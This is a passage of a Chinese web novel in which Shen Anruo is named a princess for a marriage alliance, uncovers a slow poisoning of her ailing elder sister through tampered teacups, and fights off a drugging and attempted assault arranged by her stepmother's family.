沈一山也是发愁的不行,处理公务都没有心情了,整个沈家都快掘地三尺了,也没有找到一点嫁妆的影子,沈安锦的嫁妆问题还没有解决,还欠着沈安若十万两,这要是真的给出去,沈家就要空了。 柳依依端着一万补汤进来。 “老爷。” 沈一山抬头看着她。 “你怎么来了?你不是应该在给锦儿凑嫁妆吗?” 柳依依一眼就看出来了他在心烦意乱,上前温柔的替他揉着太阳穴。 “今日的晚膳老爷你用的少,我担心你饿着,所以给你送一碗汤来。” 沈一山伸手拉着她的手。 “爱是你贴心啊。” 柳依依端过汤。 “老爷快趁热喝吧。” 沈一山接过碗慢慢喝着汤。 柳依依缓缓开口道。 “老爷,有一件事我不知该不该说,说了又怕二小姐记恨我。” 沈一山抬头看着她开口。 “有什么不好说的?安若现在的确很不懂事。” 柳依依叹了一口气。 “这么多年以来,安若一直都是府中最乖巧的孩子,就成亲的前一天,都还乖乖的喊我母亲,就一夜之间,去了一趟侯府以后,动不动就喊打喊杀,现在剩下一半的小厮都还躺在床上,我身边的梨花和陶妈妈更是一辈子好不了了。” 沈一山听得沉思了起来,这沈安若的确就一天晚上的时间完全大变样。 柳依依观察着他的神情,继续开口。 “老爷,一个人不论怎么变,也不可能好像变成另外一个人一样,咱们的安若是不是在傅家沾染上了什么不干净的东西?” 沈一山听得神色一变。 “你是说现在的安若不是安若?” 柳依依轻咬下唇,眼中满是忧虑?。 “妾身也只是猜测,毕竟这变化实在太大了,若非中邪,妾身实在想不出还有什么原因能让她性情大变至此。而且,妾身还听说,有些邪术能让人短暂失去记忆,变得如同傀儡一般 ,最后伤害至亲之人。” 沈一山手中的汤碗微微颤抖,他放下碗,眉头紧锁。 “你是说有人利用安若要害沈家。” 柳依依连忙点头开口。 “老爷你想一想,她昨日都让锦儿去死,要知道锦儿对她最好了,还让老爷你赔她十万两银子,公主的嫁妆根本就没有二十万两啊,她故意的威胁妾身不准说。” 沈一山听得眉头紧皱。 “这种种迹象,她的确很可疑。” 柳依依趁机提议。 “老爷,不如我们请位高人来看看吧?一来可以确认安若是否真的被邪祟所侵,二来也能求个心安。若是无事最好,若真有问题,也好及时驱除,以免祸及全家。” 沈一山沉吟片刻,终是点了点头。 “也好,等到明日锦儿回门以后,你就开始着手办这件事,记住莫要声张,这要是让别人知道,会笑话沈家的。” 柳依依闻言低头的眼里闪过一抹得逞。 沈安若,不管你是性情大变,还是中邪,你最后都只能是一个邪物,到时候被赶出沈家。 沈安锦回门。 雅韵居。 因为昨晚回来已经很晚了,沈安若便没有打扰沈安昕休息。 而是一早过来陪她。 “姐姐,我已经求皇帝舅舅安排太医来给你调理身体了,应该今日就会上门,等到姐姐的身体调理好以后,我就带着姐姐游历天下,看遍山川河流。” 自己这副身子一直都是病怏怏的,稍微出门一趟就会很累,沈安昕这些年已经不抱什么希望了,但是看着沈安若脸上的笑容也不好扫她的兴。 “好,都听你的。” 姐妹二人正在聊着。 玉儿走进来行礼道。 “大小姐,二小姐,老爷差人来让去前厅永用膳,是忠勇侯世子带着他的夫人回门了。” 回门这种事,的确要大家自然是要坐在一起吃饭的。 沈安昕闻言朝沈安若开口。 “走吧,今日我给他们都准备了礼物的。” 沈安若诧异的看着沈安昕。 “啊?姐姐你还给他们准备礼物?” 沈安昕拍了拍她的手。 “走吧,你等一下就明白了。” 姐妹二人牵着手朝前厅走去。 此时前厅里。 沈安锦坐在柳依依的旁边,而傅承越则坐在沈一山的旁边。 沈安锦一脸担忧的看着沈一山。 “父亲,安昕妹妹和安若妹妹不同意怎么办?” “我…………” 说着就开始掉眼泪。 “也怪我不好,我不该惹他们不开心的,可我现在实在是没办法了,若是她们不同意的话,我以后只怕是在侯府待不下去了。” 沈一山见状急忙开口道。 “好了,锦儿不哭,你放心好了,她们不同意也得同意,这沈家还轮不到她们做主。” 柳依依也在一旁开口安慰道。 “好了锦儿,你要相信你的父亲,你的父亲最疼爱的就是你了,别哭了,等一下世子该笑话你了。” 傅承越有些尴尬的开口。 “岳父,岳母,这件事不怪锦儿,是我让锦儿委屈了,只是家父有令,还请岳父成全。” 沈一山闻言更是开口道。 “是沈家的女儿给侯府添麻烦了,世子放心,就按照侯爷说的来办。” 傅承越闻言立即端起桌子上的酒杯。 “多谢岳父大人,这一杯敬岳父。” 沈一山也端起酒杯。 “贤婿不必客气,都是一家人。” 沈安昕和沈安若走进来就看到这其乐融融的一幕。 柳依依先站起来,一脸笑意的招呼。 “安昕,安若………” 沈安若似笑非笑地看着她,眼里带着几分凌厉。 “柳姨娘…………” 柳依依脸色一僵,只好改口。 “大小姐,二小姐来了,快入座,世子和锦儿都等了好一会儿了。” 沈安若扶着沈安昕坐下。 “我看世子和父亲喝得正高兴呢。” 听着她阴阳怪气的语气,果然不知道沾染了什么不干净的东西,沈一山脸色一沉。 “今日是你姐姐回门的日子,沈安若,你安分一些,不要扫大家的兴。” 沈安若拿起筷子递给沈安昕。 “父亲,我说过的,我母亲只给我生了一个姐姐,若是父亲想要大家都体面一些,就不要老说一些让女儿想掀桌子的话。” 沈一山闻言气的脸青。 “你这个…………” 沈安昕忽然开口。 “父亲。” “今日既然是世子陪着沈家养女回门,也算得是喜事一件,女儿给世子和锦安还有柳姨娘准备了礼物。” 总算还有一个懂事的,沈一山脸色稍霁,点了点头,示意沈安昕继续说下去。 沈安昕微微一笑,对身旁的丫鬟吩咐道。 “珍儿,珠儿,把东西拿上来。” 珍儿,珠儿应声,从门外捧进几个精致的盒子,一一放在柳依依和傅承越,沈安锦的桌子上。 几人神情先是一懵,要知道,这沈安昕最在乎的就是沈安若,现在沈安若的婚事搞砸了,她还能送自己礼物? 看着几人的样子。 沈安昕微笑着开口道。 “你们不打开看看吗?” 沈安若一脸期待的看着。 柳依依立即端着一副温和的笑脸。 “大小姐有心了。” 沈安锦也笑着开口。 “让安昕妹妹破费了。” 几人打开盒子。 却见里面空空如也。 “空的?” 第十八章 不服就打 沈安昕轻轻点头,面上的笑容不减。 “这个盒子是我母亲当年给我准备生日礼物的时候装生辰礼物的,知晓姨娘惦记,今日刚好将这个盒子转赠给姨娘。” “劳而无功白费劲,水中捞月瞎忙活。” 沈安锦看着盒子里的红色宝石,有些不确定的开口。 “这是红玉髓?” 沈安昕笑意盈盈的看着她。 “这是红岩石,跟红玉髓相似。” “二者虽然像,但是红岩石就是一块普普通通的石头,永远都成不了红玉髓,也成为不了首饰。” 这不就是在说沈安锦上不得台面吗?沈安若捂嘴偷笑,论阴阳人还得是长姐啊。 要不是长姐身子骨差,这沈家哪里又轮得到柳姨娘作威作福。 傅承越看着自己盒子里的普普通通的空碗,心里有了一股不好的预感。 果然沈安昕的声音响起。 “金银散尽,亲友疏离,昔日富贵今成空壳。” “往后祝世子求而不得大梦一场人财两空。” 沈安若一下子就忍不住了。 “呵……………” 柳依依端庄的神色早已经维持不住,手中的帕子都快要撕碎了。 “大小姐这礼物还真是………真是………” 沈安锦和傅承越脸色也很不好看。 这还有贵客在场,沈安若最近疯魔,这沈安昕也跟着胡闹了。 “安昕,你是沈家长女,行事要知分寸。” 沈安若见状正要开口。 沈安若伸手握住她的手。 目光从沈一山的脸色扫过,然后慢慢的看向在座的每一个人。 “这些日子我的身体不好,安若的事情让诸位操心了,这是一份小小的薄礼,聊表感激之意,希望诸位都能好好收藏,毕竟礼轻情意重,寓意深刻。” 沈一山听着她这阴阳怪气的话,实在是忍不住了。 “沈安昕………” 今日还有事情要求这两姐妹,现在可不能闹翻脸了,柳依依急忙开口。 “老爷!” “不论是什么样的礼物,都是大小姐的一片心意,这礼物,妾身和锦儿都很喜欢。” 说着急忙朝沈安锦使眼色。 沈安昕满眼的不甘心,却无可奈何。 “大小姐送的礼物的确别致,锦儿很喜欢,多谢大小姐。” 沈安昕见状笑了笑。 “姨娘和锦儿喜欢就好。” “我身子柔弱,就不在这里扫大家的兴了。” “若儿,扶我回雅韵居………” 怎么会是回雅韵居?沈安锦站起来。 “等等,那不是………” 柳依依急忙开口。 “锦儿!” 随即朝沈安昕开口。 “大小姐,请留步。” 然后看着沈一山。 “老爷。” 沈一山看了看沈安昕,又看了看沈安若,缓缓开口。 “安昕,安若,锦儿在沈家陪伴你们多年,如今她嫁给了世子,身份是到底………为父决定将她记在你母亲的名下,往后你们就是亲姐妹了。” 这人脑子怕不是有什么大病,沈安若的脸色冷了下来。 “父亲,你要不听听自己在说什么?” 沈安昕看着沈一山,心里忍不住有些后悔,早知道就应该给这个好父亲准备上一份礼物,眼中一点一点的失望在堆积。 “父亲要不进宫跟皇帝舅舅谈?” “看看皇帝舅舅愿不愿意多一个不知从哪个沟沟里面冒出来的外甥女?” 沈一山听得眼里闪过一抹震惊,朝她走了两步,眼里的怒气几乎要溢了出来。 “你也威胁为父?” 沈安昕闻言毫无惧意的开口。 “父亲,这些年以来,我一直以为你只是公务繁忙,无心蒹葭后宅之事,才疏忽了我和若儿,现在看来不是的。” “你的眼里,只有从外面捡回来的一种,根本就没有自己的亲生骨肉。” “我的母亲,只生下了我和若儿 ,我也没什么别的姐姐妹妹的,既然今日大家都撕破脸了,我索性也把话放在这里,只要我活着一天,沈安锦就只能是一个养女,更上不了沈家族谱。” 想到她今日说话一直阴阳怪气,沈一山抬手一巴掌打在了沈安昕的脸上。 速度快的,沈安若都没有反应过来,沈安昕嘴角流出血丝,瞪着眼睛看着沈一山,眼里满是失望。 沈安若着急的扶着沈安昕。 “长姐,长姐你没事吧?” “长姐。” 沈安昕只感觉头有些眩晕,咬了咬舌头让自己清醒几分,捏了捏沈安若的手。 “无事。” 看着沈一山开口。 “今日的这一巴掌,就当断了我们的父女情分。” 沈安若扶着沈安昕后退两步。 “玉儿,珍儿,照顾好大小姐。” 随即朝沈安锦冲过去,抓住她的衣襟就是几巴掌甩在她的脸上。 “啪………啪…………啪……………” 沈安若的眼神冷冽,每一巴掌都用力至极,沈安锦的脸上迅速红肿起来,她惊愕又痛苦地尖叫着。 “啊………沈安若……你疯了吗?” 柳依依着急的走过去拉人。 “住手,二小姐你这是要做什?” 傅承越也急忙抓住沈安若的手腕。 “沈安若,这是我的世子夫人。” “你放肆………” 话还没有说完,沈安若已经抬脚一脚踹在了他的胸口处。 傅承越直接被踹的撞在了椅子上,又摔在了地上,疼得他龇牙咧嘴。 这还没有完,沈安若抬脚直接踹了桌子,桌子上的食物撒了一地。 沈一山没想到沈安若居然这么疯。 “住手,你这个孽障。” “你这是发什么疯?” 沈安若冷冷的看着他。 “父亲,女儿的确不敢忤逆不孝对你动手,但是打一个鸠占鹊巢的贱人还是敢的,你敢动我和姐姐一下,我就打你的宝贝养女十下。” 傅承越颤颤抖抖的从地上爬起来,扶着椅子让自己站住。 “沈大人,这是你女儿第二次对我动手了,你今日一定要给本世子一个交代。” 沈一山看着这一地的浪迹,一脸阴沉。 “来人,请家法!” 沈安若闻言淡定的看着沈一山。 “父亲,只怕你今日动不了我。” 沈一山怒声呵斥。 “今日,就是天王老子来了我也要罚你。” 忽然一声高呼。 “圣旨到。” 第十九章 君臣之礼 众人皆是一惊。 沈安若一脸笑意的看着沈一山。 “我说了,今日父亲你动不了我的。” 沈一山气愤的瞪着沈安若。 沈安若依旧笑意盈盈的提醒。 “父亲还不去院子里接旨吗?” 柳依依等人连忙整理衣衫,准备接旨。 沈一山脸色阴晴不定,最终只能朝门外走去。 沈安若走到沈安昕身边,关切的开口。 “姐姐,还能去接圣旨吗?” “要不我让玉儿珍儿先送你回去休息。” 沈安昕看着沈一山的背影。 “能,我陪你去接圣旨。” 沈安若扶着沈安昕一步步往外走,还好自己昨日聪明,让南诏皇给两道圣旨,一道自己收着,一道特意给沈家看。 沈一山带着柳依依等人朝太监行礼。 “臣接旨………” 来宣旨的人生陈公公,看了看见没有沈安若的身影,微微抬头开口。 “沈大人,圣旨也不是给你的,是给沈二小姐的,沈大人你们还是再等等吧。” 直到沈安若扶着沈安昕出现。 陈公公一脸笑意的开口。 “凰仪公主,皇上让奴才来宣旨。” 凰仪公主??? 众人听得一脸懵? 这是在喊谁? 沈安若扶着沈安昕走到沈一山身边,看着柳依依与沈安锦一左一右的跪在沈一山身边,直接开口。 “柳姨娘,你这个位置是我和长姐的。” 柳依依心有不甘,却只能跪到旁边去。 沈安若正要扶着沈安昕跪下接旨。 陈公公又笑着开口。 “凰仪公主,皇上说了,你和沈大小姐不用跪。” 这么好吗?还得是舅舅好啊,沈安若扶着沈安昕一脸笑意。 “那就劳烦公公宣读圣旨吧。” 众人一脸见了鬼的神情看着沈安若,她应了!她就那么应了? 什么时候她成为凰仪公主了。 看着陈公公手里明晃晃的圣旨,柳依依和沈安锦心里都燃起一股不好的预感。 沈一山则面色迷糊。 陈公公打开圣旨,高声的宣读到。 “奉天承运,皇帝诏曰,惠安公主之女沈安若德才兼备,温婉贤淑,品貌出众,实乃南诏之瑰宝,国家之栋梁。今特封为凰仪公主以彰其德,和亲天元太子,钦此。” 沈一山听完圣旨,整个人如遭雷击,呆立在原地。 柳依依和沈安锦的脸色更是难看到了极点,她们万万没想到,沈安若竟然摇身一变成了凰仪公主,还要和亲天元太子! 身份一下子就贵不可言了。 沈安若松开了扶着沈安昕的手,朝前两步,双手去接圣旨。 “沈安若接旨。” 陈公公笑着将圣旨递到她的手中。 “恭喜公主了。” 随即示意自己身后的两个箱子。 “昨日,皇上见公主身上的衣服都旧了,头上的发饰更是极为简单,特意让老奴从他的库房里面挑选了许多的首饰,布匹,还有一些金子银子给公主,皇上说了,若是有什么缺的,公主尽管进宫跟他说,千万不要委屈了自己。” 沈安若闻言立即感动的热泪盈眶。 “劳烦公公替我多谢皇帝舅舅,还是舅舅对我好。” 随即朝站在自己身后的沈安昕开口。 “长姐,我想请公公喝一杯茶,你可不可以………” 这是要给陈公公打赏,沈安昕见状急忙退下自己手上的镯子上前塞陈公公手里。 “辛苦公公跑一趟了,请公公喝一杯茶,一点心意,还请公公不要推辞。” 难怪公主如此看重沈大小姐,这沈大小姐也是一个好的。 “那就多谢沈大小姐了,咱家………” 忽然看到了沈安昕脸上的巴掌印,陈公公急忙关切的开口。 “哎呦,沈大小姐你这脸是怎么了?” “这是谁打的啊?” “谁吃了熊心豹子胆了?居然敢打皇上的外甥女?” 沈安昕一下子就明白了沈安若的用意,伸手轻轻摸了摸自己的脸,看了看地上跪着的沈一山,有些害怕的发抖。 “没………没………没有人打我………” “我就是身子弱,不小心摔的。” 陈公公是什么人?那是跟在皇上身边多年的太监总管,这么多年,有什么事情是看不明白的,一下子就看出来了,这绝对是沈一山打的,也是,除了沈一山还有谁敢动凰仪公主的姐姐。 “那大小姐以后可要小心一些,这沈家的人都是怎么照顾皇上的外甥女的?要是皇上知道了,只怕是要心疼了。” 摸了摸手里的镯子。 陈公公又看着沈安昕身上简单的衣服,唉,这凰仪公主和沈大小姐只怕这些年过得很拮据啊,要不然也不会拿一个镯子来打赏,不过没关系,收了她的镯子,回去好好的替她们姐妹二人美言几句。 “公主,大小姐,咱家还要回去给皇上复命,你们以后可要照顾好自己,皇室公主不多,皇上十分分的看重你们,若是有人给你们委屈受了,皇上也绝对不会看着不管的。” “另外皇上担忧大小姐的身体,明日宫里的太医就会来给沈大小姐调理身体,往后每日给沈大小姐诊脉一次。” 沈安若闻言急忙满眼泪花的点头。 “凰仪知道了,谢谢公公提点,以后有了皇帝舅舅的庇佑,我和长姐就不用再……………” 说着,声音更是哽咽了起来。 沈一山见状只感觉胆颤心惊,这要是陈公公回去以后跟皇上说一点什么,那可如何是好? “陈公公………” 陈公公并不搭理他,而是朝沈安若和沈安昕行礼开口。 “那老奴就告退了。” 沈安若急忙福身回礼。 “公公慢走。” 当陈公公带着送你的小太监远去。 沈安若抬手将眼角的泪痕往上一抹。 “玉儿翡儿,让人将这些东西搬到长姐的院子。” 随即朝沈安昕开口。 “姐姐,等一下你看你喜欢什么,都给你。” “皇帝舅舅送的,一定是好东西。” 沈一山站起来,一脸阴沉的开口。 “沈安若,你怎么会成为凰仪公主?” 唉,这脑子只顾着高兴了,忘记这里还有一群垃圾,沈安若转身看着沈一山等人。 “父亲不恭喜我吗?” “凰仪公主耶,这可是长公主才能有的封号啊。” “啧啧啧,父亲,只怕是你以后见了本宫,都要行君臣之礼了。” 随即目光更是看向傅承越。 “世子,你说对吗?” 第二十章 带着姐姐出嫁 傅承越神色复杂地看着沈安若,从未想过这个让自己百般嫌弃的女人,居然摇身一变成为了尊贵的凰仪公主。 想到刚刚陈公公对她的态度,就知道皇上对他有多看重了。 “公主说得对,按照礼仪,先君臣再父子。” 沈安若不屑的看了几人一眼,扶着沈安昕离去。 “姐姐,走,我们去看看皇帝舅舅都给我们送来什么好东西。” “玉儿,你去把南都最好的绣娘找来,本宫要给长姐做衣服。” 看着姐妹二人离去的背影,柳依依和沈安锦眼里有一些慌乱,沈安若身份不一样了,以后怕是不好对付了。 沈安若现在身份不一样了,关于记名的事情 ,肯定是不能再提了,傅家还不能得罪皇上宠爱的公主,傅承越握住沈安锦的手开口。 “锦儿,我喜欢你,从来都是与你身份无关,我们现在好不容易走到了一起,既然公主很介意记名的事情,我们就不要强求了,回去以后我会与父亲说清楚的。” 雅韵居。 看着打开的两个箱子。 里面是一箱布匹,还有一箱首饰,首饰里还有一些金子银子,另外还有六千两银票,不得不说南诏皇出手还是挺大方。 沈安若一脸笑意的拿起一个镯子试戴了一下,又拿起一只簪子插入沈安昕的发间。 “长姐,这个你戴好看。” 沈安昕脸上却没有半点的喜意。 “若儿,你真的要去和亲?” 沈安若一边继续挑选一些首饰一边开口。 “是啊。” 沈安昕一年担忧的开口。 “若儿,我明日就进宫求一求皇帝舅舅,求他收回旨意………” 沈安若闻言回头看着沈安昕,手里还拿着一个珠串。 “啊………为什么啊姐姐?” 沈安昕无奈的开口。 “若儿,那是和亲。” “要嫁去天元的,山高路远,以后姐姐就见不到你了。” 原来是舍不得自己,沈安若将手中的珠串套在了沈安昕的脖子上。 “姐姐不会见不到我的,因为姐姐你会随同我一起走。” 沈安昕诧异的开口。 “什么意思?” 沈安若又拿了一串珍珠项链给她戴上。 “我昨日已经跟皇帝舅舅说过了,我不放心你一个人留在沈家,所以我出嫁的时候要带着你一起出嫁。” “左右这沈家已经不是家了,我们也没有什么好留恋的,生活嘛,在哪里都是生活,有姐姐的地方我就有家。” 沈安昕闻言恍然大悟。 “难怪皇帝舅舅要让太医来给我调理身体。” 想到了沈安若的名声,哪怕是傅家和沈家对外宣布嫁人的是沈安锦,可是整个南都都知道安若曾经跟傅承越定亲了的,名声到底是毁了,或许嫁去天元当太子妃是一个不错的选择。 “罢了,既然你想要离开沈家?那姐姐就陪着你离开,当年母亲走了我都能把你照顾好,往后就算去到了天元,姐姐也会照顾好你的。” 沈安若闻言伸手抱着沈安昕。 “嗯,有姐姐真好。” “姐姐,你就是全世界最好的姐姐,安若爱你。” 柳院。 沈安锦一脸着急的开口。 “不亲,到底是怎么回事?为什么我的院子变成了沈安昕的院子。” 柳依依闻言叹了一口气。 “沈安若说雅韵居适合沈安昕养身体,就让沈安昕住进去了。” “从后湖回来以后,家中还发生了许多事………” 听着柳依依讲述了沈家这两日发生的事情,沈安锦更是一脸的震惊。 “沈安若这是发疯了吗?” “居然打了府中那么多小厮。” 柳依依拉着沈安锦坐下。 “锦儿,这沈安若不好对付了,她已经立了威,往后我在府中的地位也受到了影响。” 沈安锦听得满眼的不甘心。 “母亲,我们绝对不能就这么算了,而且现在的她已经跟以前大不一样了,只怕是不会放过我们的。” 柳依依闻言开口道。 “你说的有道理,原本是想着等你回本以后,我找一个得道高僧来………” “但是现在她的身份又不同一般了,我好不容易想出来的法子,怕是不好实行。” 她凭什么成为公主?以后自己见到她还得行礼问安,沈安锦越想越气。 “母亲,她之所以被封为公主,肯定是因为要去和亲,原本和亲的应该是皇上宠爱的百灵公主,所以皇上也并没有多看重沈安若,只不过是想哄着她去和亲罢了。” 柳依依听了无奈的开口道。 “可不论如何,她如今的确是公主了,就连你父亲见了她都得行礼。” 沈安锦闻言眼里满是算计。 “可若是她若是和不了亲呢?” “她都不能代替百灵公主去和亲了,皇上肯定不会再看重她。” 柳依依疑惑的开口。 “锦儿,你是不是有什么法子?这和亲圣旨已经下了。” 沈安锦闻言开口道。 “母亲,这和亲公主无论如何也得是清白之身吧?” “如果她沈安若失去了清白,她还能和亲吗?” “她不能了,她都没用了,皇上肯定会将她视为弃子。” 柳依依听得眼睛一亮。 “还得是我的锦儿聪明。” “她现在根本就不信任我们,若是下毒她定然有防范,但是这春 药嘛…………” 随即看着沈安锦开口。 “那给她找的男人可得好好选一选!” 沈安锦却开口道。 “母亲,世子就是最好的人选!” 柳依依听了震惊的开口。 “你疯了,锦儿,你好不容易才当上世子夫人,这要是他们在一起了,你的地位不就危险了吗?” 沈安锦听了一脸肯定的开口。 “母亲放心吧,我对与世子的感情有把握的。” “沈安若,如今身份不一样了,若是找一个普通的男人,她说不一定直接将人杀了,但这个男人是忠勇侯府的世子,那可就不一样了。” 柳依依听了沉思片刻。 “那你准备如何做?” 沈安锦凑近柳依依耳边低语了几句。 柳依依一脸赞同的点了点头。 皇宫里。 南诏皇看了一眼回来复命的陈公公。 “公主在沈家过的如何?” 陈公公闻言急忙恭敬的开口。 “皇上,今日传旨,公主还是那副温柔恭顺的模样,只是老奴看见了沈大小姐的脸上还有巴掌印,公主像是哭过了一样,这在沈家,谁敢打嫡长女,怕是也只有沈尚书了。” “可是沈大小姐都这么大了,身子还不好,这能是因为什么样的事情对自己的嫡长女动上了手?” “ 老奴实在是看不明白。” 南诏皇闻言沉下了脸。 “俗话说伸手不打过头儿,这沈尚书…………” “陈平,朕记得当年惠安公主闹着要嫁给沈一山的时候父皇很生气,因此并未让她把宫人都带出宫,伺候她的好像有一个姓王的宫女,看看现在在哪里,适合的话调去给凰仪公主。” 第二十一章 同情心不能随便有 雅韵居。 沈安若看着太医正在给沈安昕把脉,一脸的急切。 “张太医,我的长姐的身子如何?” 张太医又把脉另外一只手,然后开口道。 “大小姐,劳烦让老夫看一看你的舌头。” 沈安昕听了照着,最后太医拿出一根银针,刺破了沈安昕的手指。 “禀公主,大小姐是中毒了,一种慢性毒药,短时间内不会要人性命,但是会让身子越来越弱。” 沈安若听得眼里都是凌厉的寒意。 “柳依依………” 沈安昕急忙开口安抚她的情绪。 “若儿,我没事,你不要着急。” 随即对张太医开口。 “张太医,这毒还能解吗?” 张太医闻言开口道。 “虽然中毒的时间很长,但是只要花时间调理,还是来得及的,只不过现在要把中毒的根源找出来,大小姐这毒药你最近都还在用啊。” 沈安昕听得眼里都是惊恐。 “怎么会?” “我…………” 沈安若紧紧的握住她的手。 “姐姐不怕,张太医说了能解。” 随即朝张太医伸手。 “张太医,劳烦你替我看看。” 张太医闻言伸手给沈安若把脉片刻。 “公主的身体很健康,没有什么问题。” 沈安若沉思片刻,自己这几日基本上都是陪着姐姐吃饭的,自己没有问题,那么这毒就不会是下在饭菜里面的。 “玉儿,珍儿,立即把大小姐平日里的用具都拿来给张太医检查。” 很快沈安昕平日里用的东西都检查了一遍,都没有问题。 张太医仔细检查了沈安昕平日的饮食用具和日常所接触的物品。 “公主,这些东西里面都没有问题。” 沈安若听得眉头紧皱。 “张太医,慢性毒药是不是得不停的接触。” 张太医闻言拱手道。 “是,慢性毒药就是得一点一点的下的。” 沈安若沉思着。 “珍儿,珠儿,姐姐平日里所用的东西全在这里了吗?” 珠儿沉思片刻。 “还有一套茶具,是先夫人的陪嫁之物,先夫人爱煮茶,先夫人走了以后,大小姐时不时就会………” 好高明的下毒手段,沈安若厉声开口。 “去取来。” 沈安昕开口道。 “安若,应该不可能是茶具的问题,那是母亲留给我们的东西,一直都是我自己收着,煮茶的时候都不让丫鬟碰的。” 沈安若开口道。 “就是因为东西太过于珍贵,才容易让别人有机可乘。” 很快茶具被拿了过来,张太医仔细的检查了一番。 “公主,还是没有问题。” 沈安若拿起茶杯观察一番。 “玉儿,泡茶。” 玉儿闻言立即开始泡茶。 随着杯子里都装满了茶水,茶香四溢,但沈安若的眼神却愈发凝重。 “张太医,劳烦你现在再好好的检查一遍。” 张太医再次开始一杯一杯的检查茶水。 “公主,微臣当了多年的太医,今日也是长了见识了,这茶杯被人动了手脚,这套茶杯应该是被人放在毒药里面煮过许久,等到毒药慢慢渗入,往后再拿这茶杯喝茶,当茶水滚烫,就会激发毒药。” 这倒是说得通了,大户人家煮茶,就算有心防备一般都是检查一下水,沈安若眼里都是冷意。 “珍儿,即日起,大小姐的吃食在雅韵居开小厨房做,所有用具全部换成新的,且必须由可信之人亲自采买。至于那套茶具,封存起来。” 珍儿连忙点头,转身去安排。 沈安若看向张太医,语气坚定。 “张太医,请您务必为长姐调理好身体,所需药材,无论多珍贵,都请告知,我定会寻来。” 张太医躬身行礼。 “公主放心,微臣定当竭尽全力。” “不过大小姐身子弱除了因为慢性中毒,还因为长时间的忧思对身体也不利,闲暇还是可以出门走动走动。” 沈安若闻言看了看沈安昕,眼里带着心疼,她就大自己五岁啊,这些年要在继母手底下护着妹妹,难怪会忧思。 “姐姐,明日我们出门逛街吧,皇帝舅舅给了这么多银子,我们现在有很多银子可以花了,不用再节省了,听说买东西会让人开心,我带姐姐出去买很多衣服,很多首饰,很多好玩的,只要姐姐喜欢的全部买回来。” 张太医听着却若有所思,不用节省了?这二位可是惠安公主的女儿,在沈家还得节省? 次日,姐妹俩身着新衣,带着玉儿和珍儿,出了沈府。 沈安若特意吩咐备了一辆宽敞舒适的马车,以便沈安昕能舒适地乘坐。 南都的街道热闹非凡,各式店铺琳琅满目。 姐妹二人来到一家店里。 沈安若拿起一盒胭脂。 “姐姐,你看看这个,我觉得你用起来肯定更好看。” 沈安昕接过一看。 “摸着的确不错啊。” 掌柜的打量着二人的衣服,这二人的衣服可都不便宜,看来应该是出自大户人家。 “两位姑娘,我们二楼还有更好的胭脂,更有许多的首饰,二位不如上楼再挑上一挑。” 此时门口一个小姑娘拿着一束花,努力的将身子朝门里够。 “姐姐,你可以买一束花吗?” “阿奶生病了,我需要银子。” 掌柜的脸色冷了一下,很快笑着开口。 “小朋友拿着花去别的地方卖好吗?不能打扰我这里的客人。” 上辈子自己为了生存,也是卖过花的,沈安若朝珍儿玉儿开口。 “你们看顾好大小姐,不论什么时候都一定要寸步不离。” 掌柜的带着沈安昕朝二楼走去。 “姑娘,我珍宝阁的胭脂和首饰可是出了名的好,今日一定会让您挑的满意的。” 沈安若走出店门。 小孩子眼里马上就有了希望。 将花举起来。 “姐姐,这是我今天一早刚剪出来的,你闻闻,还很香的,姐姐这么漂亮,就应该配美美的花,姐姐你买一支好不好?” 记忆回笼。 自己也曾抱着许多花。 哥哥,这位姐姐这么漂亮,你给姐姐买一枝花好不好? 沈安若接过花,放在鼻尖闻了闻。 “嗯,的确还很香。” “小朋友,这些话多少钱啊?” 小姑娘回答到。 “只要十文钱。” 沈安若摸出一块碎银子,塞进小姑娘的手里。 “姐姐给你十文钱,拿回去给你阿奶吧。” 说完对着小姑娘眨了眨眼睛,小姑娘捏紧了手里的碎银子,随即塞进自己的胸口里。 朝沈安若弯了一下腰。 “谢谢姐姐。” 然后急忙跑了。 看着小姑娘远去的背影,沈安若脸上露出一抹笑意。 她拿着银子给阿奶的时候应该会很开心吧。 看着手里开得正艳的花,沈安若再次闻了闻。 这花开的挺好的,姐姐应该会喜欢吧? 忽然一阵眩晕传来,沈安若立即扶住了门框。 不会吧?买一束花还中招了? 躲在不远处的沈安锦和傅承越见状急忙上前。 沈安锦一脸着急的扶着沈安若。 “妹妹,你这是怎么了?是中暑了吗?走,姐姐带你回府。” 沈安若用力推开她。 “滚………” 沈安若却拽住她的手臂将她往外带 ,朝傅承越使眼神。 “世子,帮我把妹妹抱马车上去。” 第二十二章 解药 沈安若再醒过来。 只感觉自己浑身发热,忍不住伸手扯着自己的衣服。 看着她这忍不住的模样,傅承越得意的开口。 “居然醒了!” “也好,能叫的总比死鱼有趣。” 这是傅承越的声音,沈安若咬了咬舌头,血腥味在嘴里散开,整个人才清醒了几分。 “傅承越。” 傅承伸手捏住她的下巴。 “还记得我,挺好。” 沈安若抓住他的手腕,强忍着身体的不适。 “你想干什么?” 傅承越眼里都是算计。 “当然是夺丝 你。” “沈安若,你本来就该是我的女人,还想和亲天元太子,你做梦。” “今日过后,你就是我的人了,残花败柳如何和亲,到时候皇上定会收回你的公主封号。” 沈安若闻言看着他眼睛。 “这是哪里?” “你给我下.药了对吧。” 傅承越俯身看着她。 “这里是青.楼。” “沈安若,你居然敢打我,今日我就要你身败名裂。” 说着就扣住沈安若的手腕,将她手腕控制在枕头上。 低头就要去亲她的唇。 沈安若咬着鸭翅,侧开脸躲开,低声开口。 “所以,世子还是舍不得我了吗?” 傅承越抬头看着沈安若的脸,见她脸上居然没有半分的害怕,反而带着一抹浅浅笑意。 “你不害怕?” 沈安若脸上的笑意更盛。 “为什么要害怕呢?就如同世子说的,我们本来就应该是夫妻不是吗?” 傅承越愣了愣神。 “所以你还是喜欢本世子的。” 沈安若看着他的眼睛,媚眼如丝。 “对啊,你本来就该是我的夫君啊。” 所以她之前跟自己作对都是因为吃醋,傅承越眼里闪过一抹笑意。 “你既然这样想,今日你还少吃一些苦头。” 说完捏着沈安若的下巴,低头就亲下去。 沈安若见状拉扯了一下自己的衣服,露出来漂亮的锁骨。 “世子………” 伸手搂住傅承的脖子。 原来她喜欢这样,傅承越抬脚跨在她的腰侧,低头吻住她的锁骨。 沈安若脸上露出一抹恨意,用尽全力膝盖一顶。 房间里一下子响起来杀猪声。 “啊…………” 沈安若一把推开傅承越。 傅承越抱着下腹处疼得在床上打滚。 沈安若拉好自己的衣服,拿出匕首对着自己的手臂划了一刀。 疼痛感传来,身上的那股燥.热稍微好了一些。 该死的,大意了,居然让沈安锦和傅承越抓到了机会。 